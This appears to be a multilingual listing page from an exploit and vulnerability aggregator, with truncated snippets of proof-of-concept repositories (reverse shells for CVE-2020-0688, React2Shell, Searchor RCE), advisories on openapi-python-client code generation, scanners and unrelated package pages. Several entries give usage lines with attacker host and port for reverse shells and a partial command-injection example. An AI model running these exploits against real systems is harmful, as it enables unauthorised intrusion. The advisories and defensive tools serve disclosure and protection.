CVE-2020-0688

CVE-2020-0688 Funktionierender Exploit PoC CVE-2020-0688 - Reverse Bind Shell Getestet mit Python2.7 Installation: pip install -r requirements.txt Ausführung: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2026-23744

Verwendung: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC Optionen: -h, --help Zeigt diese Hilfemeldung an und beendet das Programm --lhost, -l LHOST Angreifer-IP-Adresse --lport, -p LPORT Angreifer-Port --rhost, -t RHOST Ziel-URL...

CVE-2026-20230-Scanner

CVE-2026-20230 Scanner Ein Python-basierter Scanner und Validierungstool zur Identifizierung potenziell anfälliger Cisco Unified Communications Manager Unified CM-Bereitstellungen, die von CVE-2026-20230 betroffen sind. Funktionen Erkennt Cisco Unified CM-Instanzen Prüft auf WebDialer-Exposition...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 Eu criei um exploit simples em python para o react2shell CVE-2025-55182 USO 1. Salve o script: Salve o código acima como exploit.py. 2. Atualize os hosts: Certifique-se de que reactor.htb resolva para o IP alvo no seu arquivo /etc/hosts. echo " reactor.htb" | sud...

FLAWED

F ix L ike A rtifacts w ith E mbedded D efects Um harness de pesquisa para medir quão bem agentes de IA corrigem vulnerabilidades. Quickstart · Datasets · Documentation · Security model · Contributing FLAWED faz o checkout de um projeto open-source em um commit sabidamente vulnerável, entrega a u...

GHSA-5293-MQ8X-G3XJ openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

Impact A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute. Patches Versions starting with 0.29.1 have updated with guardrails to prevent arbitrary...

openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

Impact A malicious OpenAPI document processed by any openapi-python-client prior to 0.29.1 can generate arbitrary Python code. When anyone imports the malicious client, that arbitrary Python code will execute. Patches Versions starting with 0.29.1 have updated with guardrails to prevent arbitrary...

GitMiner3

Autor: UnkL4b Site: bravul.com Blog: unkl4b.github.io Github: UnkL4b X: @UnkL4b AVISO +---------------------------------------------------+ | OS DESENVOLVEDORES NÃO ASSUMEM NENHUMA | | RESPONSABILIDADE E NÃO SÃO RESPONSÁVEIS POR | | QUALQUER USO INDEVIDO OU DANO CAUSADO POR | | ESTE PROGRAMA |...

pastokrapacefleciks

pastokrapacefleciks, o analisador WireShark - PRO Uso: Coloque o seu ficheiro .pcapng no diretório do pastokrapacefleciks python .\pastokrapacefleciks.py python3 .\pastokrapacefleciks.py Verifique o seu relatório HTML...

CVE-2023-43364-Searchor-RCE-Exploit

CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsicherer eval-Nutzung in Searchor --test Benutzerdefinierten Befehl ausführen Führe einen beliebigen Befehl auf dem Zielserver aus: python3 CVE-2023-43364.py -a "whoami" Beispiele: python3 CVE-2023-43364.py -a "TF=$mktemp...

CVE-2026-105801

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

CVE-2026-105801 openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

CVE-2026-105801

The openapi-python-client library (prior to version 0.29.1 ) is vulnerable to arbitrary code generation because it fails to neutralize malicious content within OpenAPI documents before rendering string, docstring, and f-string contexts . An attacker providing a malicious OpenAPI document can caus...

CVE-2026-105801 openapi-python-client: Malicious OpenAPI Documents can cause Arbitrary Code Generation

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

EUVD-2026-93435

openapi-python-client generates Python clients from OpenAPI documents. Prior to 0.29.1, the generator does not safely neutralize malicious OpenAPI document content before rendering string, docstring, and f-string contexts in generated Python. The generated Python client can contain...

numpy-1.13.1

Travis CI Status --- NumPy ist das grundlegende Paket für wissenschaftliches Rechnen mit Python. Dieses Paket enthält: ein leistungsfähiges N-dimensionales Array-Objekt anspruchsvolle Broadcasting-Funktionen Werkzeuge zur Integration von C/C++- und Fortran-Code nützliche lineare Algebra,...

CVE-2025-58434-PoC

CVE-2025-58434 PoC Python Proof-of-Concept-Skript zum Auslösen von POST /api/v1/account/forgot-password. ⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Die Verwendung dieses Tools gegen Systeme, die Ihnen nicht gehören oder für deren Test Sie keine schriftliche Genehmigung haben,...

mcpshield

mcpshield Ein Drop-in-Fix für die nicht gepatchte MCP-STDIO-Befehlsinjektionslücke die CVE-2026-30623-Familie, von OX Security im April 2026 als "by design" offengelegt – es kommt kein SDK-Patch. Importieren Sie eine Zeile, und jeder stdio MCP-Server, den Ihre Python-Anwendung startet, erhält ein...

[SECURITY] Fedora 45 Update: python3.15-3.15.0~rc3-2.fc45

Python 3.15 is an accessible, high-level, dynamically typed, interpreted programming language, designed with an emphasis on code readability. It includes an extensive standard library, and has a vast ecosystem of third-party libraries...

CVE-2026-19650-CVE-2026-19478

cve-id Donate Apoie a manutenção deste projeto com PayPal ou escaneando o código QR abaixo. ⚡ Uso Simples Use este projeto apenas em ambientes seguros e autorizados, tais como: Máquinas virtuais locais Contêineres Docker Ambientes de laboratório isolados Ambientes de teste de penetração autorizad...